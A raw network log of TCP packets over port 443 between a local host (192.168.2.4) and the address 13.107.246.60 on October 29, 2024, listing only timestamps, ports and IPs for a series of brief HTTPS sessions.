Oct 29, 2024 04:52:59.812434912 CET	443	49763	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.855997086 CET	49764	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.856041908 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.856144905 CET	49764	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.856304884 CET	49764	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.856336117 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.858000040 CET	49765	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.858057022 CET	443	49765	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.858131886 CET	49765	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.858608961 CET	49766	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.858638048 CET	443	49766	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.858660936 CET	49765	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.858689070 CET	443	49765	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.858716011 CET	49766	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.858782053 CET	49766	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.858795881 CET	443	49766	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.860032082 CET	49767	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.860054016 CET	443	49767	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.860115051 CET	49767	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.860654116 CET	49768	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.860692024 CET	443	49768	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.860745907 CET	49768	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.860842943 CET	49768	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.860851049 CET	49767	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:52:59.860862970 CET	443	49768	13.107.246.60	192.168.2.4
Oct 29, 2024 04:52:59.860877991 CET	443	49767	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.574275970 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.574758053 CET	49764	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.574799061 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.575284004 CET	49764	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.575297117 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.589090109 CET	443	49768	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.589457989 CET	49768	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.589481115 CET	443	49768	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.589884996 CET	49768	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.589893103 CET	443	49768	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.600509882 CET	443	49767	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.600831985 CET	49767	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.600877047 CET	443	49767	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.601262093 CET	49767	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.601277113 CET	443	49767	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.602842093 CET	443	49765	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.603153944 CET	49765	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.603183031 CET	443	49765	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.603575945 CET	49765	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.603586912 CET	443	49765	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.608911037 CET	443	49766	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.609385014 CET	49766	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.609416008 CET	443	49766	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.609857082 CET	49766	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.609868050 CET	443	49766	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.705550909 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.705565929 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.705661058 CET	49764	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.705701113 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.705763102 CET	49764	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.706017971 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.706053019 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.706106901 CET	49764	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.714133024 CET	49764	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.714158058 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.714181900 CET	49764	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.714195967 CET	443	49764	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.717190981 CET	49769	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.717241049 CET	443	49769	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.717308998 CET	49769	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.717461109 CET	49769	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.717479944 CET	443	49769	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.719285011 CET	443	49768	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.719305992 CET	443	49768	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.719372034 CET	49768	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.719387054 CET	443	49768	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.719413996 CET	443	49768	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.719466925 CET	49768	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.719494104 CET	49768	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.719494104 CET	49768	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.719507933 CET	443	49768	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.719518900 CET	443	49768	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.728799105 CET	443	49767	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.729026079 CET	443	49767	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.729114056 CET	49767	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.729114056 CET	49767	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.729167938 CET	49767	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.729193926 CET	443	49767	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.733627081 CET	443	49765	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.733834028 CET	443	49765	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.733902931 CET	49765	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.738905907 CET	49765	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.738907099 CET	49765	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.738924980 CET	443	49765	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.738945961 CET	443	49765	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.740500927 CET	443	49766	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.740554094 CET	443	49766	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.740628958 CET	49766	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.740645885 CET	443	49766	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.740717888 CET	443	49766	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.740742922 CET	49766	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.740770102 CET	49766	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.740884066 CET	49766	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.740884066 CET	49766	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.740900993 CET	443	49766	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.740922928 CET	443	49766	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.743899107 CET	49770	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.743921995 CET	443	49770	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.743984938 CET	49770	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.745697021 CET	49771	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.745716095 CET	443	49771	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.745769024 CET	49771	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.745898962 CET	49771	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.745913029 CET	443	49771	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.751058102 CET	49770	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.751072884 CET	443	49770	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.752413034 CET	49772	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.752430916 CET	443	49772	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.752494097 CET	49772	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.752810955 CET	49772	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.752825022 CET	443	49772	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.754931927 CET	49773	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.754970074 CET	443	49773	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:00.755076885 CET	49773	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.755326986 CET	49773	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:00.755337000 CET	443	49773	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.447715998 CET	443	49769	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.448390007 CET	49769	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.448405027 CET	443	49769	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.448914051 CET	49769	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.448920965 CET	443	49769	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.483761072 CET	443	49770	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.484167099 CET	49770	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.484184980 CET	443	49770	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.484580040 CET	49770	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.484585047 CET	443	49770	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.486216068 CET	443	49771	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.486479044 CET	49771	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.486490011 CET	443	49771	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.487006903 CET	49771	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.487013102 CET	443	49771	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.490875006 CET	443	49772	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.491152048 CET	49772	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.491162062 CET	443	49772	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.491530895 CET	49772	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.491534948 CET	443	49772	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.501554012 CET	443	49773	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.501858950 CET	49773	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.501873016 CET	443	49773	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.502285004 CET	49773	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.502291918 CET	443	49773	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.578717947 CET	443	49769	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.578834057 CET	443	49769	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.578918934 CET	49769	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.579062939 CET	49769	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.579087973 CET	443	49769	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.579102039 CET	49769	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.579108953 CET	443	49769	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.581962109 CET	49774	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.581975937 CET	443	49774	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.582050085 CET	49774	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.582207918 CET	49774	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.582218885 CET	443	49774	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.614319086 CET	443	49770	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.614463091 CET	443	49770	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.614533901 CET	49770	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.614645004 CET	49770	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.614655972 CET	443	49770	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.614687920 CET	49770	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.614695072 CET	443	49770	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.616708994 CET	49775	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.616751909 CET	443	49775	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.616831064 CET	49775	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.616962910 CET	49775	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.616976023 CET	443	49775	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.617527008 CET	443	49771	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.617681026 CET	443	49771	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.617877007 CET	49771	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.617966890 CET	49771	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.617974043 CET	443	49771	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.618000984 CET	49771	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.618006945 CET	443	49771	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.619896889 CET	49776	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.619920969 CET	443	49776	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.620001078 CET	49776	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.620120049 CET	49776	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.620135069 CET	443	49776	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.620362043 CET	443	49772	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.620598078 CET	443	49772	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.620654106 CET	49772	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.620683908 CET	49772	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.620690107 CET	443	49772	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.620698929 CET	49772	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.620702982 CET	443	49772	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.622531891 CET	49777	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.622545958 CET	443	49777	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.622620106 CET	49777	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.622735977 CET	49777	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.622750998 CET	443	49777	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.634671926 CET	443	49773	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.634891033 CET	443	49773	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.634953022 CET	49773	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.635135889 CET	49773	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.635135889 CET	49773	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.635149956 CET	443	49773	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.635160923 CET	443	49773	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.637059927 CET	49778	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.637072086 CET	443	49778	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:01.637145042 CET	49778	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.637281895 CET	49778	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:01.637295008 CET	443	49778	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.322426081 CET	443	49774	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.323023081 CET	49774	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.323035955 CET	443	49774	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.323551893 CET	49774	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.323554993 CET	443	49774	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.368756056 CET	443	49777	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.369396925 CET	49777	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.369407892 CET	443	49777	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.369801044 CET	49777	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.369807005 CET	443	49777	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.371747017 CET	443	49778	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.372000933 CET	49778	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.372010946 CET	443	49778	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.372328997 CET	49778	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.372334957 CET	443	49778	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.373302937 CET	443	49776	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.373539925 CET	49776	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.373549938 CET	443	49776	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.373882055 CET	49776	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.373888016 CET	443	49776	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.375159979 CET	443	49775	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.375452995 CET	49775	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.375473976 CET	443	49775	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.375819921 CET	49775	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.375825882 CET	443	49775	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.456186056 CET	443	49774	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.456300974 CET	443	49774	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.456347942 CET	49774	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.458986044 CET	49774	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.458991051 CET	443	49774	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.459022999 CET	49774	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.459027052 CET	443	49774	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.462193012 CET	49779	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.462223053 CET	443	49779	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.462299109 CET	49779	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.462518930 CET	49779	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.462534904 CET	443	49779	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.500859022 CET	443	49777	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.501053095 CET	443	49777	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.501107931 CET	49777	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.501420021 CET	49777	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.501430988 CET	443	49777	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.501444101 CET	49777	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.501449108 CET	443	49777	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.501499891 CET	443	49778	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.501642942 CET	443	49778	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.501682997 CET	49778	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.502353907 CET	49778	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.502370119 CET	443	49778	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.502389908 CET	49778	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.502398014 CET	443	49778	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.504369974 CET	443	49776	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.504520893 CET	443	49776	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.504559994 CET	49776	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.505223989 CET	49780	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.505250931 CET	443	49780	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.505330086 CET	49780	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.505338907 CET	49776	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.505345106 CET	443	49776	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.505359888 CET	49776	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.505364895 CET	443	49776	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.507200956 CET	49781	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.507211924 CET	443	49781	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.507273912 CET	49781	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.508327961 CET	49780	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.508339882 CET	443	49780	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.508522987 CET	49781	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.508533001 CET	443	49781	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.509829998 CET	49782	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.509839058 CET	443	49782	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.509888887 CET	49782	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.510056973 CET	443	49775	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.510104895 CET	49782	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.510113001 CET	443	49782	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.510173082 CET	443	49775	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.510221958 CET	49775	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.510324955 CET	49775	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.510324955 CET	49775	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.510333061 CET	443	49775	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.510339975 CET	443	49775	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.513094902 CET	49783	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.513102055 CET	443	49783	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:02.513164997 CET	49783	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.514009953 CET	49783	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:02.514019966 CET	443	49783	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.194472075 CET	443	49779	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.195839882 CET	49779	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.195859909 CET	443	49779	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.196321964 CET	49779	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.196327925 CET	443	49779	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.235869884 CET	443	49783	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.237855911 CET	49783	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.237868071 CET	443	49783	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.238255978 CET	49783	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.238260984 CET	443	49783	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.242618084 CET	443	49782	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.243551016 CET	49782	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.243570089 CET	443	49782	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.243968010 CET	49782	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.243973017 CET	443	49782	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.246239901 CET	443	49780	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.246429920 CET	443	49781	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.246751070 CET	49781	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.246757030 CET	443	49781	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.246774912 CET	49780	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.246784925 CET	443	49780	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.247167110 CET	49781	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.247170925 CET	443	49781	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.247205019 CET	49780	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.247210026 CET	443	49780	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.325097084 CET	443	49779	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.325236082 CET	443	49779	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.325493097 CET	49779	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.325575113 CET	49779	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.325587988 CET	443	49779	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.325599909 CET	49779	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.325607061 CET	443	49779	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.328525066 CET	49784	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.328599930 CET	443	49784	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.329035044 CET	49784	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.329171896 CET	49784	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.329205990 CET	443	49784	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.365540981 CET	443	49783	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.365585089 CET	443	49783	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.365762949 CET	49783	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.365803957 CET	49783	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.365809917 CET	443	49783	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.365820885 CET	49783	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.365824938 CET	443	49783	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.367861986 CET	49785	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.367881060 CET	443	49785	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.367960930 CET	49785	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.368088007 CET	49785	443	192.168.2.4	13.107.246.60
